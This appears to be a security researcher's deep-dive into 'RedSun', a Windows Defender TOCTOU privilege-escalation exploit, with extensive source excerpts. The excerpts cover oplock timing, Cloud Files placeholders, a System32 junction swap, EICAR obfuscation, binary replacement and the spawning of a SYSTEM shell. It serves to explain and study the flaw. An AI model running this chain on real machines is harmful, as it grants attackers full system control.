Table of Contents
- 1Background: The Building Blocks
- 1.1Opportunistic Locks (Oplocks)
- 1.2Volume Shadow Copy Service (VSS)
- 1.3Cloud Files API (CfApi)
- 1.4NTFS Directory Junctions
- 1.5POSIX Semantics File Deletion
- 2The Windows Defender Design Flaw
- 3The Attack Chain, Step by Step
- 4Code Deep Dive
- 4.1The Second-Stage Gate
- 4.2VSS Watcher Thread
- 4.3EICAR Trigger
- 4.4Cloud Files Placeholder
- 4.5The Junction Swap
- 4.6SYSTEM Shell Delivery
- 5Impact & Takeaway
01 Background: The Building Blocks
RedSun chains five distinct Windows mechanisms. Understanding each one individually makes the full exploit chain click into place. None of them are bugs on their own — the vulnerability emerges from how Windows Defender interacts with their combination.
Opportunistic Locks (Oplocks)
An opportunistic lock (oplock) is a kernel mechanism that lets a process ask the filesystem: "tell me before you let anyone else open this file." When another process tries to open the file in an incompatible way, the kernel pauses that second open request and notifies the oplock holder first, giving it a window of time to do work before the kernel lets the second opener in.
RedSun uses batch oplocks (FSCTL_REQUEST_BATCH_OPLOCK). These are the most aggressive type — they break on virtually any open attempt by another process. The exploit places batch oplocks in two places at two different moments, using them as precise timing hooks into Windows Defender's file access sequence.
Volume Shadow Copy Service (VSS)
The Volume Shadow Copy Service (VSS) creates point-in-time snapshots of NTFS volumes. When a snapshot is created, Windows exposes it as a virtual device under the Object Manager at a path like \Device\HarddiskVolumeShadowCopyN. Files on the volume at snapshot time are accessible read-only through this device path.
Windows Defender uses VSS internally during malware remediation: before taking any destructive action on a detected file, it creates a shadow copy of the volume so it can safely read the file's content without triggering filesystem filters that the malware might have placed on the original path.
RedSun monitors the Object Manager's \Device directory using undocumented NT APIs to detect the exact moment a new shadow copy appears — which is the signal that Defender has started its remediation sequence.
Cloud Files API (CfApi)
The Cloud Files API is what powers OneDrive's "Files On-Demand" feature. It lets applications register a directory as a sync root and create placeholder files within it. A placeholder looks and behaves like a real file to most of the operating system — it has a name, a size, timestamps — but its content may not be stored locally. The actual data lives "in the cloud" and is fetched on demand.
A placeholder marked with CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC tells the Cloud Files filter driver that the file is fully synchronized with its cloud provider. Windows Defender treats such placeholders differently than locally-stored files — because from Defender's perspective, the authoritative copy of the data is remote, not on disk.
NTFS Directory Junctions
An NTFS junction (also called a mount point) is a type of reparse point that transparently redirects all filesystem operations from one directory to another. If you set a junction on C:\Foo pointing to C:\Windows\System32, then opening C:\Foo\notepad.exe silently opens C:\Windows\System32\notepad.exe — without the caller knowing.
Junctions are normally used for things like disk volume mounting. RedSun abuses them to redirect Defender's SYSTEM-privileged write — originally aimed at a temp directory — into C:\Windows\System32.
POSIX Semantics File Deletion
Windows normally prevents you from deleting a file while it has open handles — you must wait for all handles to close before the file name is freed. POSIX systems (Linux, macOS) have no such restriction: you can delete a file's directory entry immediately and open handles continue working, but new opens of that name will find nothing.
Windows NT exposes POSIX semantics via NtSetInformationFile with FileDispositionInformationEx and the flags FILE_DISPOSITION_DELETE | FILE_DISPOSITION_POSIX_SEMANTICS. RedSun uses this to free a filename instantly while its original handle is still open — making room for the Cloud Files placeholder to be created at the same path in the same moment.
02 The Windows Defender Design Flaw
Here is the core behavior being abused, stated plainly:
To understand why this happens, consider Defender's remediation sequence:
Snapshot — Create a VSS Shadow Copy
Before touching the malicious file, Defender creates a VSS snapshot of the volume. This gives it a stable, read-only copy of the file's content that no filesystem hook or ransomware trick can tamper with.
Read — Pull the Malicious Content from VSS
Defender reads the file's content from the VSS snapshot path (\Device\HarddiskVolumeShadowCopyN\...) rather than the live path, for safety.
Quarantine — Remove the File from Its Original Location
Defender moves the malicious file to its quarantine store and removes it from the original path.
Restore — Write Back to the Original Path
If a Cloud Files placeholder remains at the original path, Defender writes the file's content back to it. This is the self-defeating step: the antivirus puts the file it just removed back in place, because it interprets the placeholder as a cloud-synced file that needs to be locally present.
Steps 1 and 2 give RedSun the oplock hook it needs. Step 4 is the arbitrary write. The exploit turns Defender's own remediation sequence into a SYSTEM-level file overwrite aimed at whatever directory the attacker chooses.
03 The Attack Chain, Step by Step
Below is the complete exploit chain. Each phase builds on the previous one. The numbered steps match the order they execute in the source code.
The elegance of this chain is that the most privileged operation — writing into System32 — is performed by Windows Defender itself. The exploit never directly touches System32 until after the write path has been redirected.
04 Code Deep Dive
4.1 — The Second-Stage Gate
Before main() runs, C++ initializes global variables. RedSun exploits this to install a silent second-stage check that fires every time the binary runs — including when SYSTEM runs it as a COM server:
// Line 576 — runs BEFORE main(), as part of CRT global initialization
bool r = IsRunningAsLocalSystem();
bool IsRunningAsLocalSystem()
{
HANDLE htoken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken);
TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
DWORD retsz = 0;
GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
CloseHandle(htoken);
bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
if (ret) {
LaunchConsoleInSessionId(); // spawn SYSTEM shell in user's session
ExitProcess(0); // done — never reaches main()
}
return ret;
}
When the first-stage exploit replaces TieringEngineService.exe in System32 with the RedSun binary and triggers it via COM, Windows starts the binary as SYSTEM. The global initializer fires first, detects the SYSTEM context, delivers the shell, and exits — cleanly, without ever touching main().
4.2 — VSS Watcher Thread
The VSS watcher thread runs in parallel with the rest of the exploit. Its job: detect the moment Windows Defender creates a shadow copy, then place an oplock on the file's copy inside that snapshot.
It monitors the Object Manager directory \Device using two undocumented NT functions — NtOpenDirectoryObject and NtQueryDirectoryObject — which let a usermode process enumerate the kernel's object namespace directly. The thread takes a baseline snapshot of all existing HarddiskVolumeShadowCopy* devices, then polls in a loop until it finds one that wasn't in the baseline.
// 1. Baseline: enumerate all current shadow copies
LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum);
// 2. Poll until a NEW shadow copy appears
scanagain:
do {
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, ...);
/* compare each HarddiskVolumeShadowCopy* against baseline */
if (not_in_baseline) { srchfound = true; break; }
} while (!srchfound);
// 3. Construct the file's path inside the new VSS
// foo = "%TEMP%\RS-{GUID}\TieringEngineService.exe"
// &foo[2] strips "C:" → "\RS-{GUID}\TieringEngineService.exe"
wcscat(newvsspath, &foo[2]);
// result: \Device\HarddiskVolumeShadowCopyN\RS-{GUID}\TieringEngineService.exe
// 4. Open the file inside VSS (retry until the snapshot is mounted)
retry:
stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, ...);
if (stat == STATUS_NO_SUCH_DEVICE) goto retry;
// 5. Place batch oplock — breaks when Defender opens this VSS copy
DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
// 6. Signal main thread: "oplock is in place, you can proceed"
SetEvent(gevent);
ResetEvent(gevent);
// 7. Wait for oplock to break (Defender opens the VSS file)
GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);
// 8. Wait for main to signal "I've set up the placeholder, you can release"
WaitForSingleObject(gevent, INFINITE);
// 9. Release the VSS oplock — Defender can now read from VSS
CloseHandle(hlk);
WakeByAddressAll(&gevent); // unblock main's WaitOnAddress
The batch oplock on the VSS file serves as a timing gate: Defender is frozen the instant it tries to read from the shadow copy. This gives the main thread uninterrupted time to POSIX-delete the original file and create the Cloud Files placeholder in its place — before Defender has had a chance to do anything with the content it read.
4.3 — EICAR Trigger
To launch the exploit, something malicious must be written to disk so that Defender's real-time scanner triggers. RedSun uses the EICAR test string — a standardized, harmless string that every antivirus is required to flag, making it the ideal tool for reliably triggering AV behavior in a controlled PoC without deploying actual malware.
// EICAR is stored reversed so the compiled binary itself isn't flagged
char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
rev(eicar); // reverse in-place at runtime → standard EICAR string
DWORD nwf = 0;
WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);
// Opening with FILE_EXECUTE causes WdFilter.sys to scan the file
CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
The EICAR string is embedded reversed in the source code. If it were stored forward, the compiled binary itself would contain the EICAR signature in its .rdata section and would be detected and quarantined before the exploit could run. By reversing it and calling rev() at runtime, the binary stays clean on disk while the string is reconstructed in memory just before it is written to the trigger file.
Opening the file with FILE_EXECUTE — rather than a plain read or write — is what triggers Defender's on-access scan. The Windows filesystem filter manager interprets execute access as a pre-execution check, causing WdFilter.sys to inspect the file synchronously before returning control to the caller.
4.4 — POSIX Delete & Cloud Files Placeholder
With the first oplock in place (the VSS watcher is holding Defender frozen), the main thread deletes the original EICAR file and replaces its name with a Cloud Files placeholder — all before Defender's read completes.
// POSIX-semantics delete: free the filename IMMEDIATELY (not on handle close)
// 0x1 = FILE_DISPOSITION_DELETE
// 0x2 = FILE_DISPOSITION_POSIX_SEMANTICS
FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 };
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
CloseHandle(hfile); // file is gone; the path is now available for a new file
// Replace it with a Cloud Files placeholder at the exact same path
DoCloudStuff(workdir, filename, sizeof(eicar) - 1);
// Register the work directory as a Cloud Files sync root
CF_SYNC_REGISTRATION cfreg = { 0 };
cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
cfreg.ProviderName = L"SERIOUSLYMSFT"; // comment in the source: "let's see how long you can play this game"
cfreg.ProviderVersion = L"1.0";
HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy,
CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
// No callbacks — we are not a real cloud provider
CF_CALLBACK_REGISTRATION callbackreg[1];
callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL };
CfConnectSyncRoot(syncroot, callbackreg, callbackctx, ...);
// Create the placeholder with MARK_IN_SYNC — tells the system the file is
// "up to date with the cloud", affecting how Defender treats it
placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE
| CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);
The CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE flag replaces whatever is at the path (in this case, nothing — the file was just POSIX-deleted) with a new placeholder. The CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC flag marks the placeholder as synchronized, which is the key to triggering Defender's write-back behavior.
After DoCloudStuff returns, the main thread signals the VSS watcher thread to release the oplock, letting Defender proceed:
SetEvent(gevent); // tell VSS thread: placeholder is ready, release the oplock
WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);
// blocks until the VSS thread closes gevent (sets it NULL after releasing oplock)
Defender now reads from the VSS copy, quarantines the file from the original path, and encounters the Cloud Files placeholder. Its restore logic then tries to write the file's content to the placeholder location. This is the moment the second oplock must be ready.
4.5 — The Second Oplock & Junction Swap
The main thread now sets up the second timing gate: a new file at the same path, with a batch oplock and a memory-mapped section to keep it pinned.
// Recreate the directory (moved the cloud-sync-root directory aside first)
MoveFileEx(workdir, workdir_tmp, MOVEFILE_REPLACE_EXISTING);
CreateDirectory(workdir, NULL);
// Create a new file at the same path — Defender's restore write will target this
stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat,
&fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ,
FILE_SUPERSEDE, NULL, NULL, NULL);
// Place second batch oplock — breaks when Defender opens this file for the restore write
DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
// Memory-map the file to prevent it from being deleted or superseded prematurely
HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL);
// Wait for oplock to break (Defender is trying to open the file for the restore write)
GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
When GetOverlappedResult returns, Defender is frozen — it tried to open the file and the batch oplock blocked it. The exploit now has a kernel-guaranteed window to make changes. It uses this window to do three things:
UnmapViewOfFile(mappingaddr);
CloseHandle(hmap);
// 1. Rename the file away from the path Defender is targeting
PFILE_RENAME_INFORMATION pfri = ...; // renamed to workdir.TEMP2
_NtSetInformationFile(hfile, &iostat, pfri, ..., (FILE_INFORMATION_CLASS)10);
// 2. Mark the renamed file for POSIX deletion (clean up)
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
// 3. Open the work directory itself with DELETE_ON_CLOSE
stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat,
NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
// 4. SET THE JUNCTION — workdir now redirects to C:\Windows\System32
wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
// ... build REPARSE_DATA_BUFFER ...
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
The exploit then releases the oplock by closing hfile. This is the critical moment — it happens on line 739 of the source, before the write loop:
CloseHandle(hfile); // oplock acknowledged — Defender's open proceeds
// workdir is now a junction → System32
// Defender opens System32\TieringEngineService.exe as SYSTEM
// Defender writes the file's content there
for (int i = 0; i < 1000; i++)
{
// Race to get a write handle to System32\TieringEngineService.exe
wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE, NULL, NULL, NULL);
if (!stat) break;
Sleep(20);
}
Defender's write through the junction lands in System32. Once Defender releases its handle, the loop obtains a write handle — using FILE_SUPERSEDE and FILE_SHARE_WRITE to coexist with or supersede Defender's open — and the exploit proceeds to overwrite the binary.
4.6 — Binary Replacement & SYSTEM Shell Delivery
With a write handle to System32\TieringEngineService.exe obtained, the exploit replaces the file with itself:
CloseHandle(hlk); // release write handle
// mx = full path to the running RedSun.exe binary
wchar_t mx[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
// mx2 = C:\Windows\System32\TieringEngineService.exe
wchar_t mx2[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
CopyFile(mx, mx2, FALSE); // overwrite with ourselves — FALSE = overwrite if exists
LaunchTierManagementEng(); // trigger COM activation of the service
CoInitialize(NULL);
// CLSID for the Storage Tiers Management COM server
// Registered binary: C:\Windows\System32\TieringEngineService.exe
// Runs as: LOCAL SYSTEM
GUID guidObject = { 0x50d185b9, 0xfff3, 0x4656,
{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
void* ret = NULL;
CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);
CoUninitialize();
COM activation causes Windows to start TieringEngineService.exe as SYSTEM — but that binary is now a copy of RedSun.exe. The moment it starts, the global initializer fires:
// Open the named pipe created by the first stage to get the user's session ID
HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD sessionid = 0;
GetNamedPipeServerSessionId(hpipe, &sessionid); // who created the pipe?
CloseHandle(hpipe);
// Duplicate the SYSTEM token
HANDLE htoken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken);
HANDLE hnewtoken = NULL;
DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
// Set the token's session to the user's interactive session
// Only SYSTEM can call SetTokenInformation with TokenSessionId
SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
// Launch conhost.exe as SYSTEM in the user's visible desktop session
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe",
NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
The named pipe \\.\pipe\REDSUN was created by the first-stage main() process. GetNamedPipeServerSessionId returns the interactive session ID of whoever created the pipe — the original user's desktop. The SYSTEM process then sets its duplicated token's session to match, and launches conhost.exe (the Windows console host) into that session. The result: a console window appears on the user's desktop running as NT AUTHORITY\SYSTEM.
05 Impact & Takeaway
RedSun achieves local privilege escalation to SYSTEM without any kernel exploit, memory corruption, or driver vulnerability. The entire attack operates entirely in usermode, using documented and semi-documented APIs. The root cause is a TOCTOU (time-of-check, time-of-use) flaw in Windows Defender's remediation pipeline — the path it resolves at detection time is not the same path it writes to at restore time, and the window between the two is large enough to be reliably exploited.
Five primitives — oplocks, VSS, Cloud Files, POSIX delete, and directory junctions — each individually legitimate and documented, combine into an arbitrary SYSTEM-write chain when strung together in the right order. This is characteristic of a class of Windows privilege escalation vulnerabilities sometimes called logic bugs: no memory is corrupted, no shellcode is executed, and no kernel structures are touched. The attacker is simply asking the operating system to do what it was designed to do, in an order it wasn't designed to handle safely.
The comment left in the source code says it all:
// It gets funnier as time passes...
And the sync root provider name registered with the Cloud Files API:
cfreg.ProviderName = L"SERIOUSLYMSFT";
// "let's see how long you can play this game, I'm willing to go as far as you want."
RedSun is a reminder that privilege escalation research often isn't about finding crashes or memory bugs — it's about understanding system design deeply enough to ask: what happens when these two features talk to each other in a way their designers never considered?